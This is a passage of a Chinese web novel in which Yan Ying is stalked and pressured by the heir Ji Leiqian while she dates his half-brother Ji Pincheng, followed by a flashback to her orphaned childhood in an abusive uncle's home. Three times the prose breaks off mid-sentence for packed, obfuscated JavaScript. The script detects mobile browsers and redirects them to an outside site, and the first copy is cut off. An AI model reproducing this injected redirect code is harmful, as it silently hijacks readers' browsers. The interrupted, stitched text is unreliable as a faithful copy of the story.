一个“滚”字在晏迎喉咙里滚了又滚,她还是忍住了。 “不行,我今天晚上有事,你找别人去。” “你今天晚上有什么事情啊?” 他语气懒洋洋的,但丝毫没有识相退让的意思,继续追问着她。 “我和其他人约了。” “谁啊?是你的男朋友吗?” “男朋友”这个词,让晏迎笑了一声。 她的冥王星。 季磊谦喜欢听她笑,但此刻她的笑声却有些让他恼怒。 “对,我要和我的男朋友在一起,所以我没空招待季磊谦先生您。” “你的男朋友是谁啊?”季磊谦的语气不自觉变得阴阳怪气。 那句“不关你的事”还没有说出口,季磊谦“哼”了一声,抢答道:“是我大哥吗?我是不是该叫你一声嫂子?” 晏迎的大脑突然一片空白。 她的沉默就是最大的默认,季磊谦也不会告诉她,他派人监视她。 他下午就收到了她的照片。 她和哥哥在同一把伞下亲吻,看向彼此的眼神虔诚又甜蜜,她在动情处,还会闭上眼睛任由哥哥托住她的下巴。 季磊谦一张张翻看,面色阴沉如外面的天气,他看完最后一张,冷笑了几声,让偷拍的职业狗仔汗流浃背。 不拍他又想看,拍了他又要不高兴,真难伺候。 晏迎的大脑只空白了几秒钟,她迅速反应了过来,大大方方道:“嗯,你如果愿意的话,当然可以叫我嫂子。” 她也来劲了,立马坐正了身体,继续补刀:“小叔子,叔嫂有别,你以后别老打电话给嫂子,影响不好。” 季磊谦后槽牙几乎都要咬碎了,他气到最后面无表情,声音反而冷静。 “晏,迎。”他一个字一个字地叫她的名字。 “叫嫂子哈,小叔子,你要是没什么事情嫂子就挂了,再见。” 晏迎果断挂掉了电话,不想去理这个神经病。 她抱着手臂重新把目光投向正在播放的电影,笑意却比季品诚在的时候要淡了许多。 他是怎么知道自己和季品诚在一起的? 算了,只要他想知道,没有不能知道的事情。 知道了更好,一些有的没的他最好别想。 眼皮不受控制地跳了起来,晏迎抬手揉了揉,有些烦。 不管了,烦也没用,大不了破罐子破摔。 季品诚jump,她也jump,反之亦然。 但是在jump之前,晏迎眯了眯眼睛,她也不会让他们好过。 另外一边的季磊谦还保持着拿着电话的动作。 他不敢相信,她就这么挂断了他的电话? 长这么大,第一次有人用这么嚣张的态度对他。 他听着电话里传来的“嘟嘟”声,那个声音像是超过人类可以接受的赫兹频率,让他的脑电波产生了起伏。 他重重一下放下手机,揉了揉自己的太阳穴。 心里的一团火,愈烧愈旺了。 他松开点在太阳穴上的手,目光重新投向桌子上的照片。 他轻轻咬了咬自己的下嘴唇,从第一张开始又“欣赏”了一遍。 她真的很美丽,哪怕是拍糊了,那层模糊也是蒙在维纳斯脸上的薄雾。 他的眼神又看向和她亲密接触的男人。 嗯,是和他非常相似的脸,方便他代入自己。 他就是靠着这样优良的心态才能看完这些照片,要不然他可没那么好的耐心。 季磊谦的手指按住男人的脸,冷笑一声。 越是得不到的东西,他越是感兴趣。 她身边牵手、接吻、拥抱、在咖啡厅互喂甜点的位置,迟早有一天得是他。 他举起那张他们在咖啡厅的照片仔细看去。 季品诚撑着头微笑看着她,她用勺子挖起一块巧克力蛋糕,笑意盈盈地送到他的嘴边。 啧,真腻歪,季磊谦冷笑。 诶,但如果她要是愿意这样子喂自己,也不是不可以。 季磊谦从一堆照片里找出一张晏迎单人的,他捏着照片的一角,让那张美丽的脸无限靠近自己。 他低头,吻了吻他的维纳斯。 “我们马上就可以见面了。” 南城大学的实验室里,季品诚有条不紊地处理好了发生的故障。 几个研究生都暗暗松了一口气。 季品诚抬头淡定地嘱咐了他们几句,学生们疯狂点头。 季老师话不多,看上去冷冰冰的,但是在几个导师里算是最好的了,在他手底下,起码没有太多课题以外的屁事。 而且一是一,二是二,季老师非常公平公正,不会因为关系而偏袒谁。 季老师还情绪稳定,不像是隔壁那个张峰教授,一点屁事就河东狮吼,今天要是出事的是他的研究生,他肯定没那么好脾气帮他们解决。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203276|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大骂一顿都算轻的了。 季品诚打开杯子准备喝水,手机里响起了晏迎的消息。 “事情解决了吗?” “嗯,都解决好了。” “你没凶你手底下的小朋友们吧?” “没,凶他们也解决不了问题,我不干这种浪费时间和精力的事情。” “那就好哈哈哈,我也怕我的男朋友被气坏了。” 季品诚的唇角弯了弯,花言巧语,但很好听。 穿着白大褂的“小朋友”们小心翼翼地看季品诚一眼,嗯,季导在笑着发消息,看来心情还算可以,没有想刀了他们。 “现在实验室里有几个小朋友呀?” “五个。”季品诚回复,五个傻蛋。 “我点了奶茶过去,马上就到了,你到时候去拿一下,分给小朋友们。” 晏迎发了一个星星眼的表情包过去:“出了事情小朋友们心里也不好受,你给他们奶茶喝就当安慰他们喽,当然了,你这个大朋友也有份。” “好,我替他们谢谢你。” 季品诚拿着一大袋奶茶和甜点回来的时候,几个研究生还在为实验数据头疼。 他放在了休息室的桌子上,开门让他们过来休息会。 师命不敢违,他们听话地走过去,季品诚指了指一堆甜品奶茶:“你们分了吧,今天忙到现在也辛苦了。” 五个研究生们一动不动,他们互相用眼神交流。 “天塌了,季老师不会被我们气坏了吧?” “这些东西里面没毒吧?” “太反常了,季老师今天这是怎么了…” “不对劲,我宁愿被季老师骂一顿。” “可是这些东西看起来真的很好吃,我饿了。” 季品诚皱眉不解地看他们一眼:“来拿啊,做实验做傻了?” 五个研究生忙打开袋子分了起来,嘴里也不闲着。 “谢谢季老师!” “季老师您实在是太好了!” “季老师永远的神。” 季品诚看着他们,诚恳道:“你们感谢错人了,不是我点的。” “啊?”几个研究生懵了。 季品诚思考了一下,组织语言道:“这是你们师娘送来的温暖。” “!!!”几个研究生已经震惊到失语了。 师娘!天呐,什么神人可以搞定季老师啊。 不一般,肯定不一般。 季品诚的目光在他们脸上巡视了一遍,这帮小孩就差把“老天爷啊我们居然有师娘了”这几个字写在脸上了。 “怎么了?”季品诚淡定发问。 “没事没事,祝季老师百年好合。” “恭喜季老师。” “祝季老师和师娘永结同心。” 几个小孩被震惊到都胡言乱语了。 季品诚笑了笑,他慢悠悠起身,拿着属于自己的那杯奶茶准备走人。 “把注意事项记好了,弄完这一组数据就早点回去休息,晚上别熬夜。” 季品诚关上休息室的门,脚步越走越快。 路上遇到认识的人和他打招呼,他点头回礼,但心不在焉。 他的思绪都飘到了晏迎那里。 她刚刚发消息给他,说很想念他。 有人等他回家。 30. 30 晏迎此刻坐在办公室里一脸生无可恋。 今天晚上她就要去参加季磊谦的鸿门宴了。 上次她挂断他的电话,他倒是安安静静老实了两天。 但早上,她又收到了他消息。 “晚上xxxx大酒店A102,不见不散。” 谁要和他不见不散,晏迎皱眉,拳头都硬了。 但她又不能不去,也不敢把季磊谦电话微信都拉黑。 这种人要是真惹火了,什么事情都做得出来。 不能和他硬拼,得智取。 好吧…晏迎直接趴在了桌子上,其实是她没实力硬拼,她打不过。 她纠结了一会,不管了,兵来将挡水来土掩。 季品诚把自己充值好的饭卡下课的时候交给了晏远,这张饭卡是教职工食堂通用的,可以每餐打8.8折,一个月学校还会往里面打500块钱餐补。 “给你,学生食堂不好吃可以来教职工食堂。” 晏远抱着电脑压低声音:“谢谢姐夫。” 季品诚笑了笑:“别谢我,谢你姐姐,她见不得你吃的不好。” 要不是因为晏迎的这层关系,他也不可能照顾晏远。 晏远心领神会地点点头,冲季品诚挥手再见。 季品诚打开手机,点开了晏迎的头像,她现在的微信状态设置的是“裂开”。 一张笑脸分裂成两半,看起来是心情很不好的样子。 季品诚的眉毛拧在一起,他点开她的朋友圈,今天没有发动态。 这个点她应该早该晒午饭了,配文“今天吃了xxx、xxxxx、xxxx”,如果心情好的话,她还会把好吃的难吃的逐一点评一番。 看来今天她的心情是很糟糕了。 季品诚打开和她的聊天框,打下一行字。 “吃过饭了吗?今天怎么心情不好?” 晏迎看着这行字发呆,一下子不知道怎么回复。 她不想瞒着季品诚什么,但是如果把季磊谦的事情告诉他,他指不定一整天都得担心。 以晏迎对他的了解,季家是他非常讨厌的存在,他要是知道季家的人现在又缠上了她,老天,别看季品诚平时斯斯文文的,他是真的会撸起袖子就去找季磊谦拼命。 晏迎犹豫了几秒,季磊谦纠缠她的事情她不会瞒着,但现在不是对他说出来的最佳时机。 这也不是什么好事,能瞒一辈子就瞒一辈子吧… 她不想和季家的人有什么牵扯,要不是形势所迫,几个大业务都被季磊谦故意掐在了一起。 想到这里,晏迎的拳头又开始硬了。 可恶,季磊谦这人怎么这么讨厌,鬼似的阴魂不散。 她对着办公桌上的绿萝“翠翠”叹了一口气,回复季品诚道:“我吃过了,吃的是公司楼底下的牛肉面。味道还行。” “嗯,今天心情确实不怎么样,因为晚上不能回家吃苏阿姨做的饭了,有应酬,组织应酬的人非常难缠,非常讨厌,非常有病。” 这三个“非常”的连用,让季品诚笑了,那个人得多不是东西,能让晏迎讨厌成这样。 他打开表情包的那一栏,翻找到了之前从晏迎那里保存来的一张表情包,犹豫了一下,还是发了过去。 是一只灰色的小猫在拥抱一只三花猫。 晏迎看着手机屏幕笑了,心里的阴霾散去了很多。 她调侃道:“季老师!你居然会发表情包了!” 季品诚的耳朵在发烫:“嗯,这是之前你发给我的,我都保存下来了。” “真棒。”短短两个字的夸奖,让季品诚脸上的温度又飙升了。 办公室的老师又在讨论下周捐赠会的一些琐事。 这些话传到季品诚的耳朵里,让他的笑意淡了几分。 关于季家的很多事情,他不想让晏迎知道。 除了他自己心里本能的抗拒,更多的,是他不想让晏迎对自己的爱里夹杂那个最多余的东西。 同情。 爱的复杂性远远超过他的认知和理解,但他真的不想要她因为那些往事而同情他。 季品诚握紧手机,把自己和她的对话看了一遍,才觉得好受些地放松下来。 和她有关的一切,总是他最好的镇静剂。 “晚上你应酬喝酒不能开车的话,到时候打电话给我,我去接你。” 晏迎看到这句话的时候心脏狂跳,老天,千万不能让这两祖宗见上面。 她不敢想象这两张相似的脸面对面的时候会是什么场景,自己到时候夹在他们中间,一张嘴怎么说的清楚。 “不用啦,季老师,我自己可以的,我不会喝很多酒,如果要接我再call你。” “好,你注意安全。”季品诚叹了口气,季家那帮人就是最不安全的存在。 他们如果敢动她…… 季品诚的嘴巴紧紧抿着,眼神变暗。 “放心放心!我又不是小孩了~” 晚上饭局的包厢很大,酒店经理一个老早就在门口迎接晏迎。 他替晏迎推开门的时候,晏迎抱着视死如归的心情走了进去。 一桌子人齐刷刷地看向她,她挤出一个笑容。 主座的男人看见她进来,笑出了声:“翘首以盼,终于盼来了晏小姐。” 他声音里温情满满,如三月春风拂面,把晏迎一身鸡皮疙瘩都吹了起来。 一桌子人已经坐满,只有他身边那个位置是空着的,明显特意留给她。 晏迎的目光扫过季磊谦的脸,他半挽着袖子拿起桌子上的果汁,给旁边座位上的高脚杯斟上。 他的眼睛因为在倒饮料没有看她,而是对着她站着的方向说:“特意选了你喜欢的杨梅汁。” 呼,晏迎心里的石头落地,幸好不是酒。 “是啊,晏小姐快入座吧。” “季少都等晏总监很久了,晏总监不要辜负他的美意啊。” 晏迎咬了咬自己的后槽牙,随即对着一桌人露出一个大方的笑容:“好,那我恭敬不如从命了。” 她靠近季磊谦的时候,感觉到了炙热的目光烫在了自己的身上。 她假装不经意地抬头,正好对上他侧头看过来的眼神。 意料之中。 晏迎光明磊落地和他对视一眼,露出商务应酬里标准的微笑:“感谢季少款待。” 季磊谦“呵”了一声,语调暧昧:“和我有什么好客气的?” 在场的人假装没有听到,但眼神不由自主地瞟向了晏迎。 晏迎在夹菜,她是真的饿了,吃得斯文,也吃得香甜。 得,有人低头偷笑,季少纯属于抛媚眼给瞎子看,人家现在吃得正香,恐怕连他刚刚说了什么也没听着。 季磊谦嘴角抽了抽,他看她一眼:“好吃不,我特意没选套餐,每一道菜都是我亲自点的。” 这是在邀功了。 晏迎敷衍地点点头:“挺好的,季少费心了。” 季磊谦有点烦她一口一个“季少”,但碍于场面上还有其他人在,他不好发作。 他不去理晏迎了,转头和南城一家上市公司的老总说话。 老总受宠若惊,陪着笑和季磊谦聊着。 晏迎正好落个清净,专心吃菜。 中途有一次集体敬酒,季磊谦和每一个人碰杯。 他故意最后一个碰晏迎的杯子。 清脆一声,玻璃高脚杯相碰,季磊谦偷偷看她的表情。 她仍旧是笑着的,并不在意他有心使的小把戏。 季磊谦一下子有种挫败感,但这种挫败感只存在了几秒,又被他心里不服输的征服欲所压倒了。 他眼神低沉地掠过到她的眉眼,嘴角先扬了起来。 没事,她迟早有一天得乖乖到他身边来。 一顿饭,倒也正常,只是寻常应酬,没有晏迎想象中的狼穴虎窝。 没人刻意刁难她,也没人劝她喝酒。 季磊谦甚至又加了两道她特别喜欢吃的菜。 饭局吃到最后,有人陆续告辞,走之前目光不约而同地停顿在晏迎身上几秒,意味深长。 有人心里暗暗羡慕,也有人转身叹气。 焉知非福,焉知非祸。 包厢里只留下了晏迎和季磊谦两个人。 刚刚推杯换盏的吵闹散去,时间静默一般安静。 晏迎从容吃完手上的橙子,擦了擦手,没有起身告辞。 她知道,季磊谦肯定还有话要对她说。 来到这儿了,已经不是她说走就能走的了。 季磊谦拿了片西瓜递给她:“挺甜的,尝尝?” 晏迎摇摇头:“不用啦,我已经吃饱了。” “嗯,刚刚确实吃了不少。”季磊谦抿嘴笑道。 晏迎没说话,低头抱着手臂,等他的下文。 和季品诚待久了,她也变得喜欢有话直接说了。 三分钟,旁边一点声音也没有,晏迎挑眉,抬眼向他看去,他不做声,只是撑着头含笑望着她。 晏迎轻轻咳嗽一声:“你别这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221158|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样看着我,我瘆得慌。” “我有那么恐怖吗?”季磊谦装模作样地伸手摸了摸自己的脸,一脸对自己长相的骄傲和满意。 他长成这样,无论在中国还是在外国留学那会,都很受女孩子欢迎,他可是相当有自信的。 晏迎笑着冷哼一声。 季磊谦凑近她,冲她抬了抬下巴:“你要是觉得我长得不好看,那季品诚那边,你怎么那么喜欢?我和他虽然不是一个妈生的,但是我们的脸,重合度高达百分之七十呢。” 听到他提及季品诚,晏迎的心里一紧,目光迅速聚焦在他那张皮笑肉不笑的脸上。 “你到底想干什么?”晏迎的声音听起来还是冷静的,可是她下意识的表情明明白白地在告诉季磊谦,她很在乎季品诚。 季磊谦收起脸上的笑容,他讨厌她现在这副紧张兮兮的样子。 这场饭局她从头到尾都从容应对,现在就为了一个季品诚,按耐不住了? 晏迎见他收起笑容不说话,她心里更加没有底了。 她看向他,压低声音,被迫温和道:“你已经拥有了季家的一切,资源,金钱,权力还有爱,但是他…” 说到这里,她居然没有出息地微微哽住。 她迅速调理了一下自己的情绪,继续说:“他什么也没有,他现在得到的一切都是靠自己争取的,他也不需要季家给他什么,只希望你们,可以放过他,给他平静和自由。” 季磊谦的目光一直停留在她那双好看的眼睛上,他看到里面晶莹的,湿润的泪意。 而她强忍着不让它落下来。 这玩意彻底溶解掉季磊谦最后的一点耐心。 他笑了笑,伸出手用指腹一侧抚摸她的脸颊,晏迎侧过头,躲开了他的动作。 季磊谦也不生气,他淡定起身:“走吧,一起出去散散步,你想让我放过他,也得拿出诚意,不是吗?” 今天江边的风不大,江景倒是一如既往的璀璨好看。 两个人并肩走着,外人眼里,一对壁人,天造地设。 晏迎不知道他葫芦里到底卖着什么药,索性不去看他,把目光投向江边漂泊的小船。 小船上的人,正坐在一起并肩看月亮。 季磊谦的声音响起,打断了她的思绪:“我和他比,到底输在哪儿?他到底有什么好的?我比他差在哪里了?” “你之前肯定也有过其他女朋友吧,我和她们比,我又好在哪里?” 季磊谦在她的话里愣住,自己以前交往过的那些女友…… 如果比样貌,有冠军小姐出身比她更加美丽的,如果比聪明才智,不乏常青藤名校毕业,学历甩她一条街,如果比对他有助益,也有门当户对,名门望族的大家闺秀。 非要比的话,根本不用评估,胜负一目了然。 晏迎见他沉默,以为他想通了,她自顾自道:“所以季少你看,感情这东西是不能比的,你就算好他千倍万倍又怎么样,我只是喜欢他而已,不愿意计较那些得失。” “这种东西,你非要分输赢,又有什么意义呢?” 她这话缓缓道来,如同禅语,为季磊谦解惑。 季磊谦双目放光,对了,自己以前那些前女友再好又怎么样,很多独一无二的心动,都是她带给他的。 他也只要她。 想到这里,季磊谦的心情又重新舒畅。 他停下脚步,站在了她的对面。 昏暗的路灯映照在他们的脸上,夜空如黑色幕布,江边时不时传来潮水拍岸声。 那路灯的光影一晃一晃,让他的面容,有些模糊不清。 月色朦胧里,要是不仔细看,真的会把他认成季品诚。 他向她走近一步,晏迎没有退后,而是借着路灯微弱的光,看清了他此刻的模样。 他的声音和远处传来的潮水声混合在一起,像是一只湿漉漉的大手,一下子捏紧了晏迎的心脏。 “晏迎,你说,他知道那些事情之后,还会坚定地选择你吗?” 混乱的记忆如同成为死结的乱麻,将她的呼吸闷住,晏迎的大脑一片空白。 她机械般地发出声音,几乎是一个字一个字在问他:“什么事情?” 季磊谦很满意她的装傻,又心疼她此刻煞白的脸色。 他不愿意说得详细,只是言简意赅地提醒她:“十二年前,你被寄养在你叔叔婶婶家发生的事情。” 晏迎沉默良久,突然笑了一声,她抬起头,和天上一轮明月对望。 那天也是这样圆的月亮。 31. 31 晏迎的父母死于一场车祸。 那年晏迎十岁,晏远才六岁。 这场白事的棚子搭得不算好,恰逢天气还下雨,晏迎在火盆旁边烧着纸钱,几滴雨水从棚顶的小洞滴落,让她的后背湿漉漉成一片。 棚子里面的人在哭,棚子上头的老天爷也在流眼泪。 晏远还太小了,不明白什么叫死亡,只知道以后再也见不到爸爸妈妈了。 她紧紧地靠着姐姐不愿意离开,目光望向正燃烧着的火盆,那里面的温暖让人绝望。 晏迎已经哭累了,她睁着通红的眼睛,觉得面前的一切都模糊成梦的样子。 要是真的是梦就好了,醒过来之后还在温暖的被窝里,妹妹靠着自己呼呼大睡,爸爸妈妈马上就会出差回来。 她拍拍妹妹发抖的肩膀,抬头望向棚顶上漏水的洞。 “啪”,一滴雨水落在她的眼睛里,又滑过她的面颊,顺着她的下巴落在妹妹的头顶。 晏迎觉得当下的一切突然都变得滑稽起来。 命运总喜欢开一些不好笑的玩笑,让人措手不及。 她和妹妹,以后都是没有爸爸妈妈的小孩了。 哭了这么多天她也哭累了,现在眼睛肿胀难受,看东西也模糊不清楚,她很想好好睡一觉。 但她知道她不可以,好多事情还没有一个结果,她更怕一觉醒过来,连妹妹也不见了。 纸钱已经被她烧光,化为火盆里呛人的灰烬,四处飘散。 妹妹在她的怀里捂着嘴小声地咳嗽,晏迎麻木的大脑在咳嗽声里反应过来,伸手拍了拍妹妹的背。 天气灰蒙蒙一片,像是看不真切的未来。 父母黑白色的遗照并排放在一起,和周遭色彩鲜艳的花圈形成了鲜明的对比。 这对比太强烈了,刺得晏迎肿起来的眼睛一阵发疼。 她就是在这疼痛里,迅速长大。 父母的后事结束之后,车祸的赔偿金以及父母的钱都被叔叔拿走,当然,叔叔和婶婶也肩负起了抚养她们长大成人的义务。 叔叔也不是亲叔叔,是爷爷收养了朋友的遗腹子。 收拾东西的那天,天还是下雨的。 这让晏迎更加讨厌梅雨季,湿答答的宛如她此刻的心情。 其实也没什么好带走的,除了那张全家福。 晏迎觉得这张充满了温暖和欢笑的照片像是一个句号,结束了她和妹妹的童年。 外面的雨越来越大了,她弯腰给妹妹穿上雨靴。 那是妹妹最喜欢的粉红色雨靴,但是这次她却没有像以前一样开心地到处踩水玩。 她牵紧晏迎的手,只是望着雨发呆。 晏迎没有问妹妹在想什么,她撑伞蹲下来,笑着对妹妹说:“小远想要踩水玩吗?” 她知道妹妹心里想的是,爸爸妈妈不在了,应该不可以再像从前那样无所顾虑地玩耍了。 “姐姐…” “嗯,爸爸妈妈虽然离开了我们,但是他们在天上肯定也希望我们可以继续开开心心的。” 晏迎思考了一下,决定换一种小孩子可以听得懂的说法。 她给妹妹整理贴在额头上被雨水打湿的头发:“小远以后还是可以开心地玩,可以在雨天踩水,可以等天气好了去捉蝴蝶,可以吃好吃的蛋糕。” “爸爸妈妈不在了,但是姐姐会带着你继续生活,姐姐会努力把自己,还有你,都照顾得很好,这样爸爸妈妈在天上也不会担心我们了。” “所以小远,我们还是要开开心心的,继续走下去。” 她对妹妹伸出小拇指:“我们拉钩上吊一百年,不许变。” 雨似乎变小了,但还是那么潮湿和温热,像是有温度的泪水。 她们小拇指缠绕,大拇指盖章,缔结这个世界上,最单纯也最真挚的誓言。 一定要好好活下去。 就像是她们的名字一样,言笑晏晏,迎难而上,宁静致远。 晏迎牵过妹妹的手,趟过前方被水淹没的路。 路被积攒的雨水淹没得很深,婶婶的三轮车开不进去,只能在前面的路口等她们。 这一段路不好走,晏迎牵着晏远,觉得自己在过河。 一条被悲伤溢满的河,看似平静却暗潮涌动。 婶婶穿着大红色的雨披在等她们,鲜红的颜色在灰蒙蒙的天气里格外醒目。 那红色,像是新生活的入口,不管是好是坏,先进去再说。 晏迎和叔叔婶婶一家其实不熟悉的,也就过年见一面的交情。 她和婶婶打了一个招呼,便把妹妹抱上了车,自己把收拾好的行李也般了上去。 小小瘦瘦的一个人,不知道哪里来的这么大的力气。 晏迎坐在摇摇晃晃的三轮车上,望着车棚滴下雨水打造的水晶珠帘,心想,或许这就是长大的力量吧。 叔叔和婶婶家是自建房,两层,外带一个院子。 他们的夫妻关系不像晏迎父母那样和谐融洽,连相敬如宾也够不上。 吵架、冷战、甚至动手都是家常便饭。 锅碗瓢盆摔在地上的声音是那样刺耳,只要这个声音响起来,家里孩子们的心都会提到嗓子眼。 叔叔婶婶只有一个叫囡囡的女儿,她还比晏远小一岁。 晏迎是这个家里最大的孩子,她的心智已经远远超过了同龄人,小小年纪早熟又早慧。 她很懂事地包揽了家里绝大部分的家务,能帮忙的时候绝对不会闲着。 婶婶是个有些挑剔的人,也对她赞不绝口。 那段时间叔叔和婶婶的关系极其恶劣,叔叔外出打工,不愿意回家。 家里就婶婶一个人操持着,她做着婶婶的小帮手,也过了一段很好很温馨的日子。 囡囡有的新衣服,小零食,玩具,她和妹妹也不会落下。 记忆里小时候的冬天冷得像是冰窖,唯一温暖的时候就是一家人围着火炉烤火。 没有暴躁的,会打人的,一身酒味的叔叔,只有桂花油味的婶婶,糖味的晏远,以及奶味的囡囡。 晏迎往脸上抹了把婶婶送给她的雪花膏,她加入她们的烤火大队,成为这香甜堆里的玫瑰味。 燃烧的火焰总是让晏迎想起死去的父母,白事棚子底下混着纸钱灰的火盆,烧着她的童年。 现在眼前的这把火,又让她童年的余烬死灰复燃。 婶婶拿着钳子从火里掏出烤熟的红薯和土豆,分给孩子们吃。 心急被烫到的“嘶嘶”声和笑声混合在一起,让小小的屋子成为寒冬世界里一颗温暖的火星子。 “晏迎别发呆呀,赶紧吃,再不吃都要被两个小丫头吃完了。”婶婶给囡囡擦着吃花了的嘴巴,又递给她一个撒好了辣椒面的烤土豆。 晏迎分了一半给婶婶:“我已经饱了,婶婶你光顾着烤自己都没怎么吃。” 婶婶的脸被火光映照得格外柔和,晏迎看到她露出的皮肤上,曾经被叔叔打破打肿的伤痕已经在慢慢愈合。 但残留下来的,紫色红色青色的印记却并没有那么容易消磨。 晏迎每每见到这些痕迹,都很害怕会增加新的伤痕。 婶婶现在对于她而言,就是第二个母亲。 “一开始我还嫌弃你们来我家麻烦。但是现在我觉得你们简直是老天爷赐给我的礼物。” 在她发呆的间隙,婶婶的话将她唤醒。 她借着火光和婶婶对视,看清楚她黑发之下藏着的白发,笑起来的时候眼角浮现的鱼尾纹。 这些岁月的痕迹,却让晏迎对她更加亲密,她又往婶婶这里坐近了一点。 她嗅到了婶婶身上的桂花味,那花香被火考得香甜温暖,犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227276|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如酿造已久的老蜜。 “晏迎,你是个很好很好的孩子。” 婶婶伸手摸上她的头,晏迎感受到了她掌心的干燥温暖。 外面的风霜雨雪再大,起码这间屋子里,是这样的宁静温馨。 囡囡一边抱着烤红薯吃,一边粘着母亲问道:“妈,什么时候过年呀?” “快啦,还有一个星期就过年了,你们三个的新衣服新裤子新鞋子都已经挑了最好看的花布做好了。” “太好啦,过年就可以吃到很多好吃的了,炸丸子、萝卜糕、八宝饭,大肘子,红烧鱼…” “小馋猫。” 屋子重新被笑声填满,婶婶却偷偷叹了口气。 晏迎知道她是为了什么叹气,她是害怕过年的时候,叔叔回来。 只要叔叔一回来,家里的欢声笑语就会被北风追着跑一样冷却,凝固,直到消失不见。 婶婶的娘家不在这边,她如果敢提离婚,只会被这个蛮横的男人打得更加狠。 这个家,没有那个男人,只会更好。 晏迎的眼睛紧紧盯着燃烧的火焰,她突然没那么期待过新年了。 新年的倒计时,从某种意义上来说,也是那个男人回家的倒计时。 婶婶身上的伤痕,她的后背也有一块差不多的。 那是叔叔一脚踹的,就因为那一脚,婶婶抄起了一旁的木棍打向了他,却被他按着头撞向了桌子角。 这一幕在很长一段时间里,是晏迎噩梦的根源。 囡囡和晏远手拉着手一起睡着了,晏迎和婶婶一起灭了火,商量起了过年赶大集前要购买的东西。 婶婶笑着看向晏迎:“我有时候都在想,时间要是过得再快一点就好了,看你们三个长大成人,去上大学,去大城市工作,离这里远远的,像是小鸟一样去更远的地方,见识更多好看的风景。” “晏迎,以后出去了,就不要再回到这里了。” “婶,我还会回来的。”她仰起头和婶婶对视,“我要接你,一起离开这个地方。” 赶大集的那天婶婶骑着三轮车载着她们一块儿去,年味越来越浓了,喜气洋洋一片。 新鲜的猪肉,刚从鸡屁股里下出来的鸡蛋,还带着露水的蔬果,一蹦三尺高的大鱼… 远处“砰”的一声响起,是炸爆米花的气流膨化机发出来的叫声,一群小孩子围在那里欢呼雀跃。 三轮车后面堆的东西越来越多,晏迎咬着婶婶买给她的糖葫芦,只盼望着以后的日子也可以这样平静香甜。 囡囡看到卖烟花的摊子就走不动路,婶婶笑着让三个女孩去选些自己喜欢的烟花,过年放着也喜庆好玩。 “我要那个会往天上飞的!” “我要那个会发光转圈圈的!” “我要那个炸开来会变成一朵花的!” “好嘞。”摊主是个爽快人,见他们买的多,还多送了几包响炮给她们玩。 “谢了谢了,新年发大财。”婶婶连忙道谢。 “不客气,过年嘛,就得让孩子高高兴兴的。” “过年真好呀。”回家的路上,囡囡坐在被大包小包堆满的三轮车里,发出心满意足的感叹。 “要是能天天过年就好了!”晏远补充道。 晏迎和婶婶在前面哈哈大笑。 “要是天天过年,你们就不觉得好玩了。” 回到家的时候,门已经被人打开了。 叔叔的行李还没收拾,他半躺在沙发上看着电视,见到她们拎着大包小包进来也不起身帮忙。 他斜着眼睛看婶婶一眼,又换了一个电视频道:“把我行李箱里面的衣服都拿出来洗了。” 婶婶沉默地照做。 晏迎觉得手上黑色塑料袋里头的鱼还没有死透,它带着腥味扑腾着,把原本香甜的生活搅合得天翻地覆。 32. 32 叔叔回来后的日子,家里的欢笑声少了很多。 晏迎觉得婶婶身上的桂花油味都没了之前的馥郁芬芳,那甜味里充满了酸和苦的涩味。 不过日子还是得过下去的。 厨房里炸丸子的大锅发出噼里啪啦的声音,晏迎给锅添着柴火,顺便搓着自己长冻疮的手烤火。 丸子是萝卜丝馅的,一旁的大盆里还有满满当当刚炸好的猪油渣。 整个厨房喷香得宛如天堂,稍微嗅一下鼻子,肚子里的馋虫,就被勾了出来。 囡囡和晏远两个小娃娃吃着刚炸出锅的热乎丸子,聊着新衣服上头的花。 婶婶用筷子夹了一个丸子递到晏迎的嘴边:“来,尝尝咸淡,刚炸出来的,别烫着啊。” 晏迎吹了两下,肉丸的香味被她吹得散开来,她的肚子发出咕噜一声响,像是迫不及待想将那肉丸吞入腹中。 也顾不得烫不烫了,她就着婶婶的手,一口咬了下去。 嘶,是有些烫,但更多的是香。 肉的油脂浸透萝卜丝,一咬肉汁就爆了出来,葱香和肉香溢满口腔。 晏迎冲婶婶直点头,竖起大拇指道:“味道正好,太好吃了。” “好吃就多吃点,炸了很多呢。” 婶婶的目光瞥见晏迎手上有些发紫的冻疮,皱眉道:“不是涂了药膏吗,怎么还那么严重。” 晏迎笑道:“天太冷了,冻疮油糊再多在手上也没用,以前我在家也长过,妈妈使再多法子也好不了,一到春天天气暖和了就自动好了。” “那可不行,我改天给你织一双厚手套,十个指头分开的那种,方便你写作业。” 